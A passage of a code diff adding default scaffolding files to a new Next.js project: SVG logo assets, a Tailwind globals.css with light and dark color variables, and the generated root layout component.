3.2.8c1.3.3 2.5.7 3.7 1.2a13 13 0 0 1 3.2 1.8 8.1 8.1 0 0 1 3 6.5c0 2-.5 3.7-1.5 5.1a10 10 0 0 1-4.4 3.5c-1.8.8-4.1 1.2-6.8 1.2-2.6 0-4.9-.4-6.8-1.2-2-.8-3.4-2-4.5-3.5a10 10 0 0 1-1.7-5.6h6a5 5 0 0 0 3.5 4.6c1 .4 2.2.6 3.4.6 1.3 0 2.5-.2 3.5-.6 1-.4 1.8-1 2.4-1.7a4 4 0 0 0 .8-2.4c0-.9-.2-1.6-.7-2.2a11 11 0 0 0-2.1-1.4l-3.2-1-3.8-1c-2.8-.7-5-1.7-6.6-3.2a7.2 7.2 0 0 1-2.4-5.7 8 8 0 0 1 1.7-5 10 10 0 0 1 4.3-3.5c2-.8 4-1.2 6.4-1.2 2.3 0 4.4.4 6.2 1.2 1.8.8 3.2 2 4.3 3.4 1 1.4 1.5 3 1.5 5h-5.8z"/></svg>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 283 64"><path fill="black" d="M141 16c-11 0-19 7-19 18s9 18 20 18c7 0 13-3 16-7l-7-5c-2 3-6 4-9 4-5 0-9-3-10-7h28v-3c0-11-8-18-19-18zm-9 15c1-4 4-7 9-7s8 3 9 7h-18zm117-15c-11 0-19 7-19 18s9 18 20 18c6 0 12-3 16-7l-8-5c-2 3-5 4-8 4-5 0-9-3-11-7h28l1-3c0-11-8-18-19-18zm-10 15c2-4 5-7 10-7s8 3 9 7h-19zm-39 3c0 6 4 10 10 10 4 0 7-2 9-5l8 5c-3 5-9 8-17 8-11 0-19-7-19-18s8-18 19-18c8 0 14 3 17 8l-8 5c-2-3-5-5-9-5-6 0-10 4-10 10zm83-29v46h-9V5h9zM37 0l37 64H0L37 0zm92 5-27 48L74 5h10l18 30 17-30h10zm59 12v10l-3-1c-6 0-10 4-10 10v15h-9V17h9v9c0-5 6-9 13-9z"/></svg>
|
|
Binary file
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
@tailwind base;
|
|
2
|
+
@tailwind components;
|
|
3
|
+
@tailwind utilities;
|
|
4
|
+
|
|
5
|
+
:root {
|
|
6
|
+
--foreground-rgb: 0, 0, 0;
|
|
7
|
+
--background-start-rgb: 214, 219, 220;
|
|
8
|
+
--background-end-rgb: 255, 255, 255;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
@media (prefers-color-scheme: dark) {
|
|
12
|
+
:root {
|
|
13
|
+
--foreground-rgb: 255, 255, 255;
|
|
14
|
+
--background-start-rgb: 0, 0, 0;
|
|
15
|
+
--background-end-rgb: 0, 0, 0;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
body {
|
|
20
|
+
color: rgb(var(--foreground-rgb));
|
|
21
|
+
background: linear-gradient(
|
|
22
|
+
to bottom,
|
|
23
|
+
transparent,
|
|
24
|
+
rgb(var(--background-end-rgb))
|
|
25
|
+
)
|
|
26
|
+
rgb(var(--background-start-rgb));
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
@layer utilities {
|
|
30
|
+
.text-balance {
|
|
31
|
+
text-wrap: balance;
|
|
32
|
+
}
|
|
33
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
import type { Metadata } from "next";
|
|
2
|
+
import { Inter } from "next/font/google";
|
|
3
|
+
import "./globals.css";
|
|
4
|
+
|
|
5
|
+
const inter = Inter({ subsets: ["latin"] });
|
|
6
|
+
|
|
7
|
+
export const metadata: Metadata = {
|
|
8
|
+
title: "Create Next App",
|
|
9
|
+
description: "Generated by create next app",
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
export default function RootLayout({
|
|
13
|
+
children,
|
|
14
|
+
}: Readonly<{
|
|
15
|
+
children: React.ReactNode;
|
|
16
|
+
}>) {
|
|
17
|
+
return (
|
|
18
|
+
<html lang="en">
|
|
19
|
+
<body className={inter.className}>{children}</body>
|
|
20
|
+
</html>
|
|
21
|
+
);
|
|
22
|
+
}
|